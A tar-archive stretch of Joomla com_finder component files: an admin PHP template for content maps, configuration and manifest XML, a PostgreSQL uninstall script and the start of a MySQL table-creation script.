$listDirn      = $this->escape($this->state->get('list.direction'));
$lang          = JFactory::getLanguage();
$branchFilter  = $this->escape($this->state->get('filter.branch'));
$colSpan       = $branchFilter ? 5 : 6;
JText::script('COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(pressbutton)
	{
		if (pressbutton == "map.delete")
		{
			if (confirm(Joomla.JText._("COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT")))
			{
				Joomla.submitform(pressbutton);
			}
			else
			{
				return false;
			}
		}
		Joomla.submitform(pressbutton);
	};
');
?>
<form action="<?php echo JRoute::_('index.php?option=com_finder&view=maps'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<div class="clearfix"> </div>
		<?php if (empty($this->items)) : ?>
		<div class="alert alert-no-items">
			<?php echo JText::_('COM_FINDER_MAPS_NO_CONTENT'); ?>
		</div>
		<?php else : ?>
		<table class="table table-striped">
			<thead>
				<tr>
					<th width="1%" class="center nowrap">
						<?php echo JHtml::_('grid.checkall'); ?>
					</th>
					<th width="1%" class="center nowrap">
						<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
					</th>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'd.branch_title', $listDirn, $listOrder); ?>
					</th>
					<?php if (!$branchFilter) : ?>
					<th width="1%" class="nowrap center">
						<?php echo JText::_('COM_FINDER_HEADING_CHILDREN'); ?>
					</th>
					<?php endif; ?>
					<th width="1%" class="nowrap center">
						<span class="icon-publish" aria-hidden="true"></span>
						<span class="hidden-phone"><?php echo JText::_('COM_FINDER_MAPS_COUNT_PUBLISHED_ITEMS'); ?></span>
					</th>
					<th width="1%" class="nowrap center">
						<span class="icon-unpublish" aria-hidden="true"></span>
						<span class="hidden-phone"><?php echo JText::_('COM_FINDER_MAPS_COUNT_UNPUBLISHED_ITEMS'); ?></span>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="<?php echo $colSpan; ?>">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
				<?php $canChange = JFactory::getUser()->authorise('core.manage', 'com_finder'); ?>
				<?php foreach ($this->items as $i => $item) : ?>
				<tr class="row<?php echo $i % 2; ?>">
					<td class="center">
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					</td>
					<td class="center nowrap">
						<?php echo JHtml::_('jgrid.published', $item->state, $i, 'maps.', $canChange, 'cb'); ?>
					</td>
					<td>
					<?php
					if (trim($item->parent_title, '**') === 'Language')
					{
						$title = FinderHelperLanguage::branchLanguageTitle($item->title);
					}
					else
					{
						$key = FinderHelperLanguage::branchSingular($item->title);
						$title = $lang->hasKey($key) ? JText::_($key) : $item->title;
					}
					?>
					<?php if ((int) $item->num_children === 0) : ?>
						<span class="gi">&mdash;</span>
					<?php endif; ?>
					<label for="cb<?php echo $i; ?>" style="display:inline-block;">
						<?php echo $this->escape($title); ?>
					</label>
					<?php if ($this->escape(trim($title, '**')) === 'Language' && JLanguageMultilang::isEnabled()) : ?>
						<strong><?php echo JText::_('COM_FINDER_MAPS_MULTILANG'); ?></strong>
					<?php endif; ?>
					</td>
					<?php if (!$branchFilter) : ?>
					<td class="center btns">
					<?php if ((int) $item->num_children !== 0) : ?>
						<a href="<?php echo JRoute::_('index.php?option=com_finder&view=maps&filter[branch]=' . $item->id); ?>">
							<span class="badge <?php if ($item->num_children > 0) echo 'badge-info'; ?>"><?php echo $item->num_children; ?></span></a>
					<?php else : ?>
						-
					<?php endif; ?>
					</td>
					<?php endif; ?>
					<td class="center btns">
					<?php if ((int) $item->num_children === 0) : ?>
						<a class="badge <?php if ((int) $item->count_published > 0) echo 'badge-success'; ?>" title="<?php echo JText::_('COM_FINDER_MAPS_COUNT_PUBLISHED_ITEMS'); ?>" href="<?php echo JRoute::_('index.php?option=com_finder&view=index&filter[state]=1&filter[content_map]=' . $item->id); ?>">
						<?php echo (int) $item->count_published; ?></a>
					<?php else : ?>
						-
					<?php endif; ?>
					</td>
					<td class="center btns">
					<?php if ((int) $item->num_children === 0) : ?>
						<a class="badge <?php if ((int) $item->count_unpublished > 0) echo 'badge-important'; ?>" title="<?php echo JText::_('COM_FINDER_MAPS_COUNT_UNPUBLISHED_ITEMS'); ?>" href="<?php echo JRoute::_('index.php?option=com_finder&view=index&filter[state]=0&filter[content_map]=' . $item->id); ?>">
						<?php echo (int) $item->count_unpublished; ?></a>
					<?php else : ?>
						-
					<?php endif; ?>
					</td>
				</tr>
				<?php endforeach; ?>
			</tbody>
		</table>
		<?php endif; ?>
	</div>

	<input type="hidden" name="task" value="display" />
	<input type="hidden" name="boxchecked" value="0" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_finder/config.xml000060400000021144152455305310010641 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="search"
		label="COM_FINDER_FIELDSET_SEARCH_OPTIONS_LABEL"
		description="COM_FINDER_FIELDSET_SEARCH_OPTIONS_DESCRIPTION"
		>

		<field
			name="enabled"
			type="radio"
			label="COM_FINDER_CONFIG_GATHER_SEARCH_STATISTICS_LABEL"
			description="COM_FINDER_CONFIG_GATHER_SEARCH_STATISTICS_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="show_description"
			type="radio"
			label="COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL"
			description="COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="description_length"
			type="number"
			label="COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL"
			description="COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESCRIPTION"
			size="5"
			default="255"
			filter="integer"
			showon="show_description:1"
		/>


		<field
			name="allow_empty_query"
			type="radio"
			label="COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_LABEL"
			description="COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="show_url"
			type="radio"
			label="COM_FINDER_CONFIG_SHOW_URL_LABEL"
			description="COM_FINDER_CONFIG_SHOW_URL_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_autosuggest"
			type="radio"
			label="COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_LABEL"
			description="COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_suggested_query"
			type="radio"
			label="COM_FINDER_CONFIG_SHOW_SUGGESTED_QUERY_LABEL"
			description="COM_FINDER_CONFIG_SHOW_SUGGESTED_QUERY_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			validate="options"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_explained_query"
			type="radio"
			label="COM_FINDER_CONFIG_SHOW_EXPLAINED_QUERY_LABEL"
			description="COM_FINDER_CONFIG_SHOW_EXPLAINED_QUERY_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			validate="options"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_advanced"
			type="radio"
			label="COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL"
			description="COM_FINDER_CONFIG_SHOW_ADVANCED_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_advanced_tips"
			type="radio"
			label="COM_FINDER_CONFIG_SHOW_ADVANCED_TIPS_LABEL"
			description="COM_FINDER_CONFIG_SHOW_ADVANCED_TIPS_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="1"
			showon="show_advanced:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="expand_advanced"
			type="radio"
			label="COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL"
			description="COM_FINDER_CONFIG_EXPAND_ADVANCED_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="0"
			showon="show_advanced:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_date_filters"
			type="radio"
			label="COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL"
			description="COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="0"
			showon="show_advanced:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="sort_order"
			type="list"
			label="COM_FINDER_CONFIG_SORT_ORDER_LABEL"
			description="COM_FINDER_CONFIG_SORT_ORDER_DESC"
			default="relevance"
			validate="options"
			>
			<option value="relevance">COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE</option>
			<option value="date">COM_FINDER_CONFIG_SORT_OPTION_START_DATE</option>
			<option value="price">COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE</option>
		</field>

		<field
			name="sort_direction"
			type="list"
			label="COM_FINDER_CONFIG_SORT_DIRECTION_LABEL"
			description="COM_FINDER_CONFIG_SORT_DIRECTION_DESC"
			default="desc"
			validate="options"
			>
			<option value="desc">COM_FINDER_CONFIG_SORT_OPTION_DESCENDING</option>
			<option value="asc">COM_FINDER_CONFIG_SORT_OPTION_ASCENDING</option>
		</field>

		<field
			name="highlight_terms"
			type="radio"
			label="COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_LABEL"
			description="COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="opensearch_name"
			type="text"
			label="COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_LABEL"
			description="COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_DESCRIPTION"
			default=""
		/>

		<field
			name="opensearch_description"
			type="textarea"
			label="COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL"
			description="COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESCRIPTION"
			default=""
			cols="30"
			rows="2"
		/>

	</fieldset>

	<fieldset
		name="index"
		label="COM_FINDER_FIELDSET_INDEX_OPTIONS_LABEL"
		description="COM_FINDER_FIELDSET_INDEX_OPTIONS_DESCRIPTION"
		>

		<field
			name="batch_size"
			type="list"
			label="COM_FINDER_CONFIG_BATCH_SIZE_LABEL"
			description="COM_FINDER_CONFIG_BATCH_SIZE_DESCRIPTION"
			default="50"
			validate="options"
			>
			<option value="5">J5</option>
			<option value="10">J10</option>
			<option value="25">J25</option>
			<option value="50">J50</option>
			<option value="75">J75</option>
			<option value="100">J100</option>
			<option value="150">J150</option>
			<option value="200">J200</option>
			<option value="250">J250</option>
			<option value="300">J300</option>
		</field>

		<field
			name="memory_table_limit"
			type="number"
			label="COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_LABEL"
			description="COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_DESCRIPTION"
			size="10"
			default="30000"
			filter="integer"
		/>

		<field
			name="title_multiplier"
			type="number"
			label="COM_FINDER_CONFIG_TITLE_MULTIPLIER_LABEL"
			description="COM_FINDER_CONFIG_TITLE_MULTIPLIER_DESCRIPTION"
			size="5"
			default="1.7"
		/>

		<field
			name="text_multiplier"
			type="number"
			label="COM_FINDER_CONFIG_TEXT_MULTIPLIER_LABEL"
			description="COM_FINDER_CONFIG_TEXT_MULTIPLIER_DESCRIPTION"
			size="5"
			default="0.7"
		/>

		<field
			name="meta_multiplier"
			type="number"
			label="COM_FINDER_CONFIG_META_MULTIPLIER_LABEL"
			description="COM_FINDER_CONFIG_META_MULTIPLIER_DESCRIPTION"
			size="5"
			default="1.2"
		/>

		<field
			name="path_multiplier"
			type="number"
			label="COM_FINDER_CONFIG_PATH_MULTIPLIER_LABEL"
			description="COM_FINDER_CONFIG_PATH_MULTIPLIER_DESCRIPTION"
			size="5"
			default="2.0"
		/>

		<field
			name="misc_multiplier"
			type="number"
			label="COM_FINDER_CONFIG_MISC_MULTIPLIER_LABEL"
			description="COM_FINDER_CONFIG_MISC_MULTIPLIER_DESCRIPTION"
			size="5"
			default="0.3"
		/>

		<field
			name="stem"
			type="radio"
			label="COM_FINDER_CONFIG_STEMMER_ENABLE_LABEL"
			description="COM_FINDER_CONFIG_STEMMER_ENABLE_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="stemmer"
			type="list"
			label="COM_FINDER_CONFIG_STEMMER_LABEL"
			description="COM_FINDER_CONFIG_STEMMER_DESCRIPTION"
			default="snowball"
			showon="stem:1" 
			>
			<option value="porter_en">COM_FINDER_CONFIG_STEMMER_PORTER_EN</option>
			<option value="fr">COM_FINDER_CONFIG_STEMMER_FR</option>
			<option value="snowball">COM_FINDER_CONFIG_STEMMER_SNOWBALL</option>
		</field>

		<field
			name="enable_logging"
			type="radio"
			label="COM_FINDER_CONFIG_ENABLE_LOGGING_LABEL"
			description="COM_FINDER_CONFIG_ENABLE_LOGGING_DESCRIPTION"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_finder"
			section="component"
		/>

	</fieldset>
</config>
com_finder/finder.xml000060400000003767152455305310010656 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_finder</name>
	<author>Joomla! Project</author>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<creationDate>August 2011</creationDate>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_FINDER_XML_DESCRIPTION</description>
	<menu link="option=com_finder">COM_FINDER</menu>
	<files folder="site">
		<filename>controller.php</filename>
		<filename>finder.php</filename>
		<filename>router.php</filename>
		<folder>controllers</folder>
		<folder>helpers</folder>
		<folder>models</folder>
		<folder>views</folder>
	</files>
	<media destination="com_finder" folder="media">
		<folder>js</folder>
		<folder>css</folder>
	</media>
	<install>
		<sql>
			<file charset="utf8" driver="mysql">sql/install.mysql.sql</file>
			<file charset="utf8" driver="postgresql">sql/install.postgresql.sql</file>
		</sql>
	</install>
	<uninstall>
		<sql>
			<file charset="utf8" driver="mysql">sql/uninstall.mysql.sql</file>
			<file charset="utf8" driver="postgresql">sql/uninstall.postgresql.sql</file>
		</sql>
	</uninstall>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_finder.ini</language>
	</languages>
	<administration>
		<files folder="admin">
			<filename>access.xml</filename>
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>finder.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>sql</folder>
			<folder>tables</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_finder.ini</language>
			<language tag="en-GB">language/en-GB.com_finder.sys.ini</language>
		</languages>
		<menu img="class:finder" link="option=com_finder">COM_FINDER</menu>
	</administration>
</extension>
com_finder/sql/uninstall.postgresql.sql000060400000002167152455305310014411 0ustar00DROP TABLE IF EXISTS "#__finder_filters";
DROP TABLE IF EXISTS "#__finder_links";
DROP TABLE IF EXISTS "#__finder_links_terms0";
DROP TABLE IF EXISTS "#__finder_links_terms1";
DROP TABLE IF EXISTS "#__finder_links_terms2";
DROP TABLE IF EXISTS "#__finder_links_terms3";
DROP TABLE IF EXISTS "#__finder_links_terms4";
DROP TABLE IF EXISTS "#__finder_links_terms5";
DROP TABLE IF EXISTS "#__finder_links_terms6";
DROP TABLE IF EXISTS "#__finder_links_terms7";
DROP TABLE IF EXISTS "#__finder_links_terms8";
DROP TABLE IF EXISTS "#__finder_links_terms9";
DROP TABLE IF EXISTS "#__finder_links_termsa";
DROP TABLE IF EXISTS "#__finder_links_termsb";
DROP TABLE IF EXISTS "#__finder_links_termsc";
DROP TABLE IF EXISTS "#__finder_links_termsd";
DROP TABLE IF EXISTS "#__finder_links_termse";
DROP TABLE IF EXISTS "#__finder_links_termsf";
DROP TABLE IF EXISTS "#__finder_taxonomy";
DROP TABLE IF EXISTS "#__finder_taxonomy_map";
DROP TABLE IF EXISTS "#__finder_terms";
DROP TABLE IF EXISTS "#__finder_terms_common";
DROP TABLE IF EXISTS "#__finder_tokens";
DROP TABLE IF EXISTS "#__finder_tokens_aggregate";
DROP TABLE IF EXISTS "#__finder_types";
com_finder/sql/install.mysql.sql000060400000035170152455305310013010 0ustar00--
-- Table structure for table `#__finder_filters`
--

CREATE TABLE IF NOT EXISTS `#__finder_filters` (
  `filter_id` int unsigned NOT NULL AUTO_INCREMENT,
  `title` varchar(255) NOT NULL,
  `alias` varchar(255) NOT NULL,
  `state` tinyint NOT NULL DEFAULT 1,
  `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created_by` int unsigned NOT NULL,
  `created_by_alias` varchar(255) NOT NULL,
  `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_by` int unsigned NOT NULL DEFAULT 0,
  `checked_out` int unsigned NOT NULL DEFAULT 0,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `map_count` int unsigned NOT NULL DEFAULT 0,
  `data` text NOT NULL,
  `params` mediumtext,
  PRIMARY KEY (`filter_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links`
--

CREATE TABLE IF NOT EXISTS `#__finder_links` (
  `link_id` int unsigned NOT NULL AUTO_INCREMENT,
  `url` varchar(255) NOT NULL,
  `route` varchar(255) NOT NULL,
  `title` varchar(400) DEFAULT NULL,
  `description` varchar(255) DEFAULT NULL,
  `indexdate` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `md5sum` varchar(32) DEFAULT NULL,
  `published` tinyint NOT NULL DEFAULT 1,
  `state` int DEFAULT 1,
  `access` int DEFAULT 0,
  `language` varchar(8) NOT NULL,
  `publish_start_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `publish_end_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `start_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `end_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `list_price` double unsigned NOT NULL DEFAULT 0,
  `sale_price` double unsigned NOT NULL DEFAULT 0,
  `type_id` int NOT NULL,
  `object` mediumblob NOT NULL,
  PRIMARY KEY (`link_id`),
  KEY `idx_type` (`type_id`),
  KEY `idx_title` (`title`(100)),
  KEY `idx_md5` (`md5sum`),
  KEY `idx_url` (`url`(75)),
  KEY `idx_published_list` (`published`,`state`,`access`,`publish_start_date`,`publish_end_date`,`list_price`),
  KEY `idx_published_sale` (`published`,`state`,`access`,`publish_start_date`,`publish_end_date`,`sale_price`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_terms0`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_terms0` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_terms1`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_terms1` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_terms2`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_terms2` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_terms3`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_terms3` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_terms4`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_terms4` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_terms5`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_terms5` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_terms6`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_terms6` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_terms7`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_terms7` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_terms8`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_terms8` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_terms9`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_terms9` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_termsa`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_termsa` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_termsb`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_termsb` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_termsc`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_termsc` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_termsd`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_termsd` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_termse`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_termse` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_links_termsf`
--

CREATE TABLE IF NOT EXISTS `#__finder_links_termsf` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_taxonomy`
--

CREATE TABLE IF NOT EXISTS `#__finder_taxonomy` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `parent_id` int unsigned NOT NULL DEFAULT 0,
  `title` varchar(255) NOT NULL,
  `state` tinyint unsigned NOT NULL DEFAULT 1,
  `access` tinyint unsigned NOT NULL DEFAULT 0,
  `ordering` tinyint unsigned NOT NULL DEFAULT 0,
  PRIMARY KEY (`id`),
  KEY `parent_id` (`parent_id`),
  KEY `state` (`state`),
  KEY `ordering` (`ordering`),
  KEY `access` (`access`),
  KEY `idx_parent_published` (`parent_id`,`state`,`access`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `#__finder_taxonomy`
--

REPLACE INTO `#__finder_taxonomy` (`id`, `parent_id`, `title`, `state`, `access`, `ordering`) VALUES
(1, 0, 'ROOT', 0, 0, 0);

--
-- Table structure for table `#__finder_taxonomy_map`
--

CREATE TABLE IF NOT EXISTS `#__finder_taxonomy_map` (
  `link_id` int unsigned NOT NULL,
  `node_id` int unsigned NOT NULL,
  PRIMARY KEY (`link_id`,`node_id`),
  KEY `link_id` (`link_id`),
  KEY `node_id` (`node_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_terms`
